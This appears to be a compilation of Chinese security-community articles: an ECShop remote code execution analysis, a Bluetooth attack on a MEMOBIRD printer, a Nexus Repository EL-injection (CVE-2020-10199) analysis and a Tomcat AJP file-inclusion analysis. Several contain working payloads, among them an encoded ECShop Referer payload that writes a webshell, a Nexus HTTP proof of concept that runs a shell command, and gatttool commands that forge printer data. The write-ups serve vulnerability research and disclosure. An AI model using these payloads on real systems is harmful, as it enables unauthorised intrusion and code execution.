这里的 **preg_replace** 使用了危险的 **/e** 模式，而第二个参数中的 **\1** 实际表示的是下图绿色部分字符串：
对于正则中的 **\1** 不熟悉的话，可以参考
[这篇](https://mochazz.github.io/2018/08/13/深入研究preg_replace与代码执行/)
文章。之后程序的流程就如下调用：
我们可以思考一下这处的命令执行，能不能像前面一样，只利用 **$arr['id']** 位置（即引入单个 **#**
号）？实际上是不行的，必须两个可控变量同时配合利用，才能完成攻击。因为在 **includes/lib_insert.php**
文件中有一个判断，如果数据库查询出的 **position_id** 和用户传入的 **id** 相同，才会执行 **fetch** 函数，继而进入
**includes/cls_template.php** 文件的 **_eval** 方法，达到代码执行的目的。
我们试着使用前面我构造的 **payload** （只利用 **$arr['id']** 引入单个 **#** 号），此时 **$arr['id']**
对应下图黄框部分，而 **$row['position_id']** 对应红框部分，要让这两个地方相等，根本不可能。
仔细观察，会发现 **$row['position_id']** 和 **$arr['id']**
之间使用的是弱比较，那我们是否能利用PHP弱比较的特性绕过呢？实际上还是不行，因为 **$row['position_id']**
是从数据库中查询出来的，其值类型为字符串，所以无法相等。
最终payload传到 **_eval** 函数中，成功执行代码：
### ECShop3.x
下面以3.0.0版本为例。在ECShop3.x版本中，添加了一个 **includes/safety.php**
文件，专门用于消除有害数据，但是漏洞依旧存在，我们只需绕过过滤函数即可。该文件代码如下：
用我们之前的payload，会触发过滤SQL注入的正则，具体匹配到的子项如下的 **$ttt** 变量：
主要这个正则会匹配到 **set** 、 **concat** 、 **information_schema.** 、 **select from**
语句等，暂时没有找到可绕过的SQL语句。
不过命令执行还是可以绕过的，因为我们之前的payload经过编码，这样就绕过了正则匹配。现在唯一能匹配到的就是 **union select**
语句，我们可以同时利用 **$arr['id']** 和 **$arr['num']** 两个参数，将 **union** 和 **select**
分开传递即可绕过正则检测：
但是这里还会匹配到 **select from** 语句，这里没有绕过，所以爆不了表名列名。
**3.x** 版本除了多了这处正则， **includes/cls_template.php** 文件中的 **fetch_str**
方法结尾处也不一样了，多了一个 **if** 结构，满足条件才能继续命令执行。下图左边为ECShop2.7.3，右边为ECShop3.0.0：
按照默认的数据传递流程， **version_compare** 函数默认是存在的，所以要想进入 **if**
语句，必须让后面的条件为真。后面的条件要求我们PHP的版本需要小于 **5.3.0** 才会进入该 **if** 语句。在实际测试时，我在
**PHP5.2.17** 版本下利用如下payload确实可以成功写入webshell，但是PHP版本大于等于 **5.3.0**
就无法写入webshell。
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:286:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:9:"' union/*";}45ea207d7a2b68c49582d2d22adf953aadsa
实际上ECShop在3.6的版本中已经修复了该漏洞，而 [这篇](https://xz.aliyun.com/t/2691)
文章中所说的3.6.x也存在，我看了他的测试代码，发现他把原先ECShop中的修复代码给注释掉了，这样当然可以利用漏洞了！标题有点误导性。
本文分析到此结束，文中若有不当，还望大家斧正，若有绕过姿势愿意分享，也可以联系我。
### 相关文章
[ECShop全系列版本远程代码执行高危漏洞分析](https://xz.aliyun.com/t/2689)
[ECShop 0day 的堕落之路](https://paper.seebug.org/695/)
[ecshop2.x代码执行](http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/)
[ECShop sqli and rce](http://www.lmxspace.com/2018/09/02/ECShop-sqli-and-rce/)
[ECShop <= 2.7.x/3.6.x 全系列版本远程代码执行高危漏洞EXP](https://xz.aliyun.com/t/2691) | 社区文章 |
# 独角兽暑期训练营 | 某网红打印机安全分析（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
该课题由独角兽暑期训练营第二届学员张熙宸完成，课题完成后， 等待厂商修复相关漏洞，到现在才发布。
360独角兽安全团队每年暑假都会面向在校学生举办一次暑期训练营，申请者投递简历并提交自己想做的课题介绍后，若入选，会在360技术专家的指导下完成课题。
本系列文章会发布第二届训练营6位学员在训练营中的成果。文章相关代码后续会在[训练营github代码仓库](https://github.com/UnicornTeam/summer-camp)发布 。
## 硬件拆解
##
STM32f030rct6 //MCU
mxic mx25l6433f M2i 08G //64Mbit Flash
mps1647 mp6507 //步进电机驱动芯片（纸张移动）
RTL8761ATV //蓝牙射频模块（带STM32F071CBU6）
m2639a //电源驱动芯片（充放电）
1137DQ //MOS管 热敏感应头
7.V 900mAh //电池
这个就是机器的硬件信息，打印机主要根据RTL8761ATV蓝牙芯片进行通信，我们主要也针对蓝牙这一块对设备进行安全分析。
## 蓝牙分析
$ hcitool scan
Scanning ...
74:AC:5F:FB:34:C0 360 1801-A01
E4:46:DA:DA:9A:84 小米手机
00:15:83:C3:B9:5F MEMOBIRD GT1
首先用适配器扫描周围蓝牙信息，这里我用的是“CSR8510”型号的适配器，据之前的经验用笔记本网卡自带的适配器，或者其他型号的适配器都会遇到兼容的问题，然后我们看下我们要分析的设备，这些设备有一个特点就是手机蓝牙扫描界面中是不会显示出来的，可以根据这个特点和名字分辨出我们要攻击的设备“MEMOBIRD
GT1”Mac地址为:“00:15:83:C3:B9:5F”
gatttool -b 00:15:83:C3:B9:5F -I
然后我们用到gatttool，因为刚刚的hcitool只是为了对设备的连接进行管理，如果要对BLE数据进行精细化管理的话，就要用到gatttool，我们使用gatttool的intercative（-I）模式对目标设备进行控制，-b选择目标的Mac地址。
[00:15:83:C3:B9:5F][LE]> connect
Attempting to connect to 00:15:83:C3:B9:5F
Connection successful
[00:15:83:C3:B9:5F][LE]> primary
attr handle: 0x0001, end grp handle: 0x000a uuid: 0000ff00
attr handle: 0x000b, end grp handle: 0x0013 uuid: 0000180a
attr handle: 0x0014, end grp handle: 0x001c uuid: 49535343
attr handle: 0x001d, end grp handle: 0x0024 uuid: 0000fee7
attr handle: 0x0025, end grp handle: 0x002a uuid: 0000ff80
连接到设备成功之后，命令行会有提示，之后我们可以先用“primary”来寻找设备中可用的服务
[00:15:83:C3:B9:5F][LE]> characteristics
handle: 0x0002, char properties: 0x0c, char value handle: 0x0003, uuid: 0000ff02-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x10, char value handle: 0x0005, uuid: 0000ff01-0000-1000-8000-00805f9b34fb
handle: 0x0007, char properties: 0x10, char value handle: 0x0008, uuid: 0000ff03-0000-1000-8000-00805f9b34fb
handle: 0x000c, char properties: 0x02, char value handle: 0x000d, uuid: 00002a29-0000-1000-8000-00805f9b34fb
handle: 0x000e, char properties: 0x02, char value handle: 0x000f, uuid: 00002a24-0000-1000-8000-00805f9b34fb
handle: 0x0010, char properties: 0x02, char value handle: 0x0011, uuid: 00002a27-0000-1000-8000-00805f9b34fb
handle: 0x0012, char properties: 0x02, char value handle: 0x0013, uuid: 00002a26-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x0c, char value handle: 0x0016, uuid: 49535343-8841-43f4-a8d4-ecbe34729bb3
handle: 0x0017, char properties: 0x10, char value handle: 0x0018, uuid: 49535343-1e4d-4bd9-ba61-23c647249616
handle: 0x001a, char properties: 0x18, char value handle: 0x001b, uuid: 49535343-aca3-481c-91ec-d85e28a60318
handle: 0x001e, char properties: 0x08, char value handle: 0x001f, uuid: 0000fec7-0000-1000-8000-00805f9b34fb
handle: 0x0020, char properties: 0x20, char value handle: 0x0021, uuid: 0000fec8-0000-1000-8000-00805f9b34fb
handle: 0x0023, char properties: 0x02, char value handle: 0x0024, uuid: 0000fec9-0000-1000-8000-00805f9b34fb
handle: 0x0026, char properties: 0x0c, char value handle: 0x0027, uuid: 0000ff82-0000-1000-8000-00805f9b34fb
handle: 0x0028, char properties: 0x10, char value handle: 0x0029, uuid: 0000ff81-0000-1000-8000-00805f9b34fb
也可以用characteristics来找到设备服务的特征值，其中的handle是特性的句柄，char properties是特性的属性值，char
value handle是特性值的句柄，uuid是特性的标识，可以吧特性当做是设备提供的一个寄存器，寄存器会被赋予属性，可读可写，或者只写不可读（char
properties），一台设备有很多属性，拿打印机来说的话，其中包含设备的电量信息，打印的浓度设置，打印的数据内容之类的，这些就会吧设备分成多个区块并且设置成不同的属性了，我们只需要找到打印数据写入到那个区块就可以了
## 蓝牙抓包
然后我们可以手机上打开开发者模式，设置将蓝牙数据保存为Log中，设置完后在app对打印机进行打印，然后吧手机中的btssnoop.log导入到电脑wireshark中就可以对蓝牙的数据进行分析了。
经过分析发现APP通过SPP协议将要打印的传给了打印机，因为没法对数据更好的调试所以是用中间人的方式对数据进行分析
## 蓝牙中间人攻击
这里用的是Btlejuice原理和gattacker类似，通过两个外置的蓝牙适配器做一个中间人的攻击,一个适配器插入真实机，一个插入虚拟机并开启代理模式，选择要中间人的蓝牙设备之后，APP和打印机之间的通信是通过我们两个适配器中间人实现的，我们可以实时的分析其中的通信数据并可以篡改内容，或者重放数据包进行测试。
然后分析数据得出蓝牙往handle: 0x0003, uuid:
0000ff02-0000-1000-8000-00805f9b34fb，这个区块中读写了数据，在流程中没有发现任何的验证的措施，我们先不着急分析打印的数据，我们先看看的常规的功能控制
## 蓝牙数据逆向
手机蓝牙往handle: 0x0003, uuid: 0000ff02 写入-> aa 05 00 03 03 01 00 00 4a
打印机通过蓝牙返回数据 uuid:0000ff01 <\- aa 05 00 03 0e 01 00 01 3e
手机在请求控制的状态 handle: 0x0003, uuid: 0000ff02 写入-> aa 01 00 02 53
打印机返回 uuid:0000ff01 <\- aa 44 00 02 ff 01 00 01 01 01 00 0a 02 01 00 05 03 01
00 00 04 01 00 50 05 01 00 01 06 01 00 00 13 01 00 0a 0f 20 00 36 33 36 34 30
34 39 36 33 37 35 30 30 30 30 30 30 30 00 00 00 00 00 00 00 00 00 00 00 00 00
00 b2
我们点击指示灯开关，之后看下整个的一个控制流程
aa 01 00 01 54 //读取打印机数据（电量，版本号，设置等等)
aa 01 00 02 53 //发送控制后，判断执行是否成功
aa 05 00 03 03 01 00 00 4a //关闭状态灯
aa 05 00 03 03 01 00 01 49 //打开状态灯
aa 05 00 03 13 01 00 1e 1c //自动关机 30分钟
aa 05 00 03 13 01 00 3c fe //自动关机 1小时
aa 05 00 03 13 01 00 78 c2 //自动关机 2小时
aa 05 00 03 13 01 00 b4 86 //自动关机 3小时
aa 05 00 03 13 01 00 f0 4a //自动关机 4小时
aa 05 00 03 02 01 00 09 42 //浓度 加深
aa 05 00 03 02 01 00 07 44 //浓度 适中
aa 05 00 03 02 01 00 05 46 //浓度 淡色
我们在看看其他的功能控制中写入的数据。
## 蓝牙协议分析
之后我们得到以上数据，发现协议中使用了数据校验算法，在其之前用常见的校验方法都尝试过，奇偶校验，CRC之类的发现都不对，大量的黑盒分析后发现这是私有校验方式，通过0x56减去所有的数据最后得到的就是数据校验码，以打开状态灯为例0x56-0x05-0x03-0x03-0x01-0x01=0x49,最后得到的就是0x49的校验码
计算蓝牙校验码
x=0
Header="aa"
data='0500031301001e'
datalen=int(len(data))
checknum=int('56',16)
while x < datalen:
checknum-=int(data[x:x+2],16)
x+=2
checknum&=0xff
result=Header+data+hex(checknum)[2:]
print (result)
>> aa0500031301001e1c
这个python脚本可以计算出数据的校验码
gatttool -b 00:15:83:C3:B9:5F -I
[00:15:83:C3:B9:5F][LE]> connect
[00:15:83:C3:B9:5F][LE]> char-write-req 0x0003 aa0500031301001e1c
我们修改数据内容后就可以通过gatttool工具吧数据写入handle: 0x0003, uuid: 0000ff02
就可以控制这个打印机了的功能了，打印机并没有对蓝牙链接上的客户端进行任何的身份校验。
分析打印纸条数据
然后我们来分析打印纸条的数据内容，首先会吧系统时间作为第一包也就是第一个数据包发给打印机，我们输入的文字（”Unicorn
team“）并不是以十六进制数据内容进行打印的，而是先吧文字和图片进行编码，可以从图中发现文字和时间文字进行对比不太清晰（转码的损耗），然后在吧转化后的数据分成多个数据包写入handle:
0x0003, uuid: 0000ff02 中进行打印。
我们以第一个数据包内容进行分析吧，以为其他都是将输入的文字（”Unicorn team“）进行重新的编码后的数据包，没有多大的内容数据。
aa 01 00 01 54 aa 10 00 04 0b 02 00 05 00 0c 02 00 01 00 0a 02 00 29 00 ec aa
32 00 04 0b 02 00 05 00 0c 02 00 02 00 0d 01 00 00 10 01 00 00 11 01 00 00 12
01 00 00 07 14 00 32 30 31 38 2d 30 38 2d 32 39 20 31 35 3a 35 37 3a 30 36 0a
d1 aa 10 00 04 0b 02 00 05 00 0c 02 00 03 00 0a 02 00 2a 00 e9 aa 7a 07 04 0b
02 00 05 00 0c 02 00 04 00 08 6c 07 42 4d 6e 09 00 00 00 00 00 00 3e 00 00 00
28 00 00 00 80 01 00 00 31 00 00 00 01 00 01 00 00 00 00 00 30 09 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
## 纸条时间分析
截取第一个数据包中的打印时间的这一部分数据内容即可，将我们要打印机的文本转成ascii编码的十六进制数据，然后在算出校验码
伪造纸条数据
import binascii
text='Unicorn Team Print'
data='00040b020005000c020002000d010000100100001101000012010000071400'+str(binascii.b2a_hex(text.encode()))[2:-1]+'0a'
datalen=int(len(data))+2
data=hex(int(datalen/2-2))[2:]+data
x=0
Header="aa"
checknum=int('56',16)
while x < datalen:
checknum-=int(data[x:x+2],16)
x+=2
checknum&=0xff
result=Header+data+hex(checknum)[2:]
print (result)
>>aa3100040b020005000c020002000d010000100100001101000012010000071400556e69636f726e205465616d205072696e740ae4
通过我们脚本转成ascii编码并计算出校验码
攻击流程
gatttool -I -b 00:15:83:C3:B9:5F
[00:15:83:C3:B9:5F][LE]> connect
[00:15:83:C3:B9:5F][LE]> char-write-req 0x0003 aa3100040b020005000c020002000d010000100100001101000012010000071400556e69636f726e205465616d205072696e740ae4
我们只要在无线网络中扫描到任何这个打印机设备，没有任何的验证措施就可以链接上去了，然后我吧数据写入handle: 0x0003, uuid:
0000ff02 之后就可以打印出纸条了。
## 参考链接
<https://www.cnblogs.com/HacTF/p/7772955.html>
<https://sec.xiaomi.com/article/39>
<https://www.anquanke.com/post/id/87128>
<https://github.com/securing/gattacker>
<https://github.com/DigitalSecurity/btlejuice>
<http://www.freebuf.com/articles/network/167132.html>
<http://www.freebuf.com/articles/wireless/180716.html> | 社区文章 |
# 简介
Nexus Repository OSS是一款通用的软件包仓库管理（Universal Repository Manager）服务。
Sonatype Nexus Repository Manager
3的`/service/rest/beta/repositories/go/group`接口可以最少以一个低权限用户进行访问，该接口可以在访问时发送精心构造的恶意`JSON`数据，在渲染数据时造成`EL`表达式注入进而远程执行任意命令。
影响版本：Nexus Repository Manager OSS/Pro 3.x - 3.21.1
修复版本：Nexus Repository Manager OSS/Pro 3.21.2
风险：严重 -- 9.1
账号：低/高权限账号
# EL表达式
## 简介
EL全名为`Expression
Language`，为了使JSP写起来更加简单。表达式语言的灵感来自于`ECMAScript`和`XPath`表达式语言，它提供了在`JSP`中简化表达式的方法。
它主要用于替换`JSP`页面中的脚本表达式`<%=
%>`，从各种类型的Web域中检索Java对象、获取数据。它可以很方便地访问`JavaBean`属性，访问数组，访问`List`集合和`Map`集合等。
EL主要作用：
* 获取数据
EL表达式主要用于替换JSP页面中的脚本表达式，以从各种类型的web域 中检索java对象、获取数据。(某个web域
中的对象，访问javabean的属性、访问list集合、访问map集合、访问数组)
* 执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算，以在JSP页面中完成一些简单的逻辑运算。
* 获取web开发常用对象
EL 表达式定义了一些隐式对象，利用这些隐式对象，web开发人员可以很轻松获得对web常用对象的引用，从而获得这些对象中的数据。
* 调用Java方法
EL表达式允许用户开发自定义EL函数，以在JSP页面中通过EL表达式调用Java类的方法。
## 获取数据
语法：`${标识符}`
EL表达式语句在执行时，会调用`pageContext.findAttribute`方法，用标识符为关键字，分别从`page`、`request`、`session`、`application`四个域中查找相应的对象，找到则返回相应对象，找不到则返回空字符串。
EL表达式可以很轻松获取JavaBean的属性，或获取数组、`Collection`、`Map`类型集合的数据
<%
request.setAttribute("name","test");
%>
<%--${name}等同于pageContext.findAttribute("name") --%>
## 执行运算
语法：`${运算表达式}`
* 关系运算符
* 逻辑运算符
* `empty`运算符：检查对象是否为`null`
* 二元表达式：`${user!=null?user.name :""}`
* `[ ]`和`.` 号运算符，提供两种运算符来存取数据，。
加法运算：${2+2}<br/>
减法运算：${2-2}<br/>
乘法运算：${2*2}<br/>
除法运算：${2/22}<br/>
## 获取web对象
EL表达式语言中定义了11个隐含对象，使用这些隐含对象可以很方便地获取web开发中的一些常见对象，并读取这些对象的数据。
语法：${隐式对象名称}：获得对象的引用
序号 | 隐含对象名称 | 描 述
---|---|---
1 | pageContext | 对应于JSP页面中的pageContext对象（注意：取的是pageContext对象。）
2 | pageScope | 代表page域中用于保存属性的Map对象
3 | requestScope | 代表request域中用于保存属性的Map对象
4 | sessionScope | 代表session域中用于保存属性的Map对象
5 | applicationScope | 代表application域中用于保存属性的Map对象
6 | param | 表示一个保存了所有请求参数的Map对象
7 | paramValues | 表示一个保存了所有请求参数的Map对象，它对于某个请求参数，返回的是一个string[]
8 | header | 表示一个保存了所有http请求头字段的Map对象，注意：如果头里面有“-” ，例Accept-Encoding，则要header[“Accept-Encoding”]
9 | headerValues |
表示一个保存了所有http请求头字段的Map对象，它对于某个请求参数，返回的是一个string[]数组。注意：如果头里面有“-” ，例Accept-Encoding，则要headerValues[“Accept-Encoding”]
10 | cookie | 表示一个保存了所有cookie的Map对象
11 | initParam | 表示一个保存了所有web应用初始化参数的map对象
## 调用Java方法
EL表达式语法允许开发人员开发自定义函数，以调用Java类的方法。
语法：`${prefix：method(params)}`
EL自定义函数开发包括以下三个步骤：
* 编写一个Java类的静态方法
* 编写标签库描述符（tld）文件，在tld文件中描述自定义函数。
* 在JSP页面中导入和使用自定义函数
## EL-RCE
EL表达式若可控，则可以进行表达式注入：
${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}
使用EL配合反射完成RCE。
# Nexus 3 EL表达式注入
## 环境搭建
拉取包含漏洞的nexus3
docker pull sonatype/nexus3:3.21.1
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1
`8081`为Web管理端口映射，`5050`为JDWP调试端口映射，`nexus-data`为数据目录，`INSTALL4J_ADD_VM_PARAMS`为调试参数。
Github下载`Nexus`源码：
git clone https://github.com/sonatype/nexus-public.git
并且切换至 `3.21.0-05` 分支：
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
IDEA配置远程调试信息
成功后可以在`org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter`进行断点
## 漏洞复现
首先需要一个至少为低权限的账户并登录（管理员账户也可以），登录后获取Cookie中的`NX-ANTI-CSRF-TOKEN`和`NXSESSIONID`。
POC
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: test.com:8081
Content-Length: 293
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.289429876219083
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.289429876219083; NXSESSIONID=7e3ad549-6fcb-4952-9ace-29f71614bc28
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}"]
}
}
发送包含EL表达式的JSON数据，执行命令在`tmp`中创建文件。
## 漏洞分析
首先根据请求路径`/service/rest/beta/repositories/go/group`，定位到对应的java类。
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource
该对象用于处理有关组Golang存储库的请求，查看`RESOURCE_URI`可以发现为`/beta/repositories/go/group`和POC请求对应，因为请求为POST根据注解`@POST`会调用`createRepository`。
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource#createRepository
调用父类`AbstractGroupRepositoriesApiResource`的`createRepository`方法，传递参数为`GolangGroupRepositoryApiRequest`类的请求对象，包含POC传递的JSON。
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#createRepository
继续跟进`validateGroupMembers`函数。
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers
使用`request.getGroup().getMemberNames()`提取出参数中的`memberNames`为数组，然后for循环中遍历并对POC`${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch
/tmp/shell')}`判断，`repositoryManager.get(repositoryName)`等于NULL，进入下面的`else`分支并将POC传入`constraintViolationFactory.createViolation`。
org.sonatype.nexus.validation.ConstraintViolationFactory#createViolation
这里创建了`HelperBean`对象，并将恶意的EL表达式作为构造函数参数传入。
org.sonatype.nexus.validation.ConstraintViolationFactory.HelperBean#HelperBean
public HelperBean(final String path, final String message) {
this.path = path;
this.message = message;
}
具体值为：
`HelperBean`对象又传入`validate`函数，跟进关键方法。
org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree#validateConstraints(org.hibernate.validator.internal.engine.validationcontext.ValidationContext<?>,
org.hibernate.validator.internal.engine.valuecontext.ValueContext<?,?>)
调用该方法进行校验，跟进`addConstraintFailure`
org.hibernate.validator.internal.engine.validationcontext.AbstractValidationContext#addConstraintFailure
调用interpolate方法执行表达式，messageTemplate为恶意EL表达式。
org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate
调用栈很长，一路跟进，最终调用`ElTermResolver`类的`interpolate`渲染完成RCE。
ValueExpression对象包含恶意表达式并执行。
关键的调用栈如下：
interpolate:67, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForDefaultGroup:488, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:450, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validate:172, ValidatorImpl (org.hibernate.validator.internal.engine)
createViolation:64, ConstraintViolationFactory (org.sonatype.nexus.validation)
validateGroupMembers:96, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:66, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:83, GolangGroupRepositoriesApiResource (org.sonatype.nexus.repository.golang.rest)
CGLIB$createRepository$1:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75 (org.sonatype.nexus.repository.golang.rest)
invoke:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75$$FastClassByGuice$$8bad93f8 (org.sonatype.nexus.repository.golang.rest)
# 参考
<https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31>
<https://blog.csdn.net/ggGavin/article/details/51852026>
<https://www.cnblogs.com/xdp-gacl/p/3938361.html>
<https://www.anquanke.com/post/id/202867#h3-2> | 社区文章 |
# Tomcat-Ajp协议漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 安恒，文章来源：安恒
原文地址：<https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ>
译文仅供参考，具体内容表达以及含义原文为准。
安恒安全研究院 卫兵实验室
## 漏洞描述
Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。
Apache Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp
配置文件或源代码等。
## 漏洞危害等级
高
## 影响版本
该文件包含漏洞影响以下版本：
7. _分支7.0.100之前版本，建议更新到7.0.100版本；
8._分支8.5.51之前版本，建议更新到8.5.51版本；
9.*分支9.0.31之前版本，建议更新到9.0.31版本。
## 漏洞原理
tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009
AJP协议端口，两个端口默认均监听在外网ip。
如下图：
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
如下图：
因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下图所示:
其中具体的映射方式就简略了，具体可以自己查看代码.
## 两种利用方式
### 1、利用DefaultServlet实现任意文件下载
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图
通过serveResource方法来获取资源文件
通过getRelativePath来获取资源文件路径
然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件，不限于class、xml、jar等文件。
### 2、通过jspservlet实现任意后缀文件包含
当url（比如[http://xxx/xxx/xxx.jsp）请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图](http://xxx/xxx/xxx.jsp%EF%BC%89%E8%AF%B7%E6%B1%82%E6%98%A0%E5%B0%84%E5%9C%A8org.apache.jasper.servlet.JspServlet%E8%BF%99%E4%B8%AAservlet%E7%9A%84%E6%97%B6%E5%80%99%E4%B9%9F%E5%8F%AF%E9%80%9A%E8%BF%87%E4%B8%8A%E8%BF%B0%E4%B8%89%E4%B8%AA%E5%B1%9E%E6%80%A7%E6%9D%A5%E6%8E%A7%E5%88%B6%E8%AE%BF%E9%97%AE%E7%9A%84jsp%E6%96%87%E4%BB%B6%E5%A6%82%E4%B8%8B%E5%9B%BE):
控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.
## 利用成功截图
## 解决方案
1、临时禁用AJP协议端口，在conf/server.xml配置文件中注释掉<Connector port=”8009″
protocol=”AJP/1.3″redirectPort=”8443″ />
2、配置ajp配置中的secretRequired跟secret属性来限制认证
3、官方下载最新版下载地址：
<https://tomcat.apache.org/download-70.cgi>
<https://tomcat.apache.org/download-80.cgi>
<https://tomcat.apache.org/download-90.cgi>
或Github下载：<https://github.com/apache/tomcat/releases>
## AJP协议规范
详见<https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html> | 社区文章 |
翻译自：<https://medium.com/@_bl4de/how-to-perform-the-static-analysis-of-website-source-code-with-the-browser-the-beginners-bug-d674828c8d9a>
翻译：聂心明
在这个手册中，我将展示如何用web浏览器的内置工具去分析客户端的源码。这可能就会有一些奇怪的声音，可能浏览器不是执行这个任务最好的选择，但是在你更深入之前，我们打开Burp
Suite来拦截一下http的请求，或者在这里或者用alert(1)去寻找无尽的xss，首先去了解你的目标总是很好的主意
这篇文章主要面向的是那些对HTML和JavaScript代码没有经验或经验很少的赏金猎人，但是我希望更有经验的黑客也能发现其中有趣的东西。
我最近的一篇介绍基本操作的推文获得了社区很多的关注后，我就觉得应该写一篇这样的文章了。
这个简单的想法其实冰山的一角，如果我把这些小技巧全都发到推特上，那么其他人会很容易错过，所以我决定收集这些小技巧，然后把他们写成博客。我希望你们能找到一些有用的东西。
好了，让我们开始吧
# 工具集
每一个现代浏览器都会内置开发者工具，为了启动他们，你可以使用Ctrl+Shift+I, CMD+Option+I
(macOS)，F12键或者在浏览器右边的菜单选项--这依靠你所使用的操作系统和浏览器。虽然在这篇文章中，我使用的是最新版本的Chromium，如果你使用Firefox, Safari, Chrome or
Edge，他们除了UI，其他的没有什么不同。你可以随便选择你喜欢的浏览器，但是你会发现Chrome
开发者工具是最强大（Chrome开发者工具或者轻量级开发工具可以兼容Chrome, Chromium, Brave, Opera
或者其他基于Chromium 内核的浏览器）
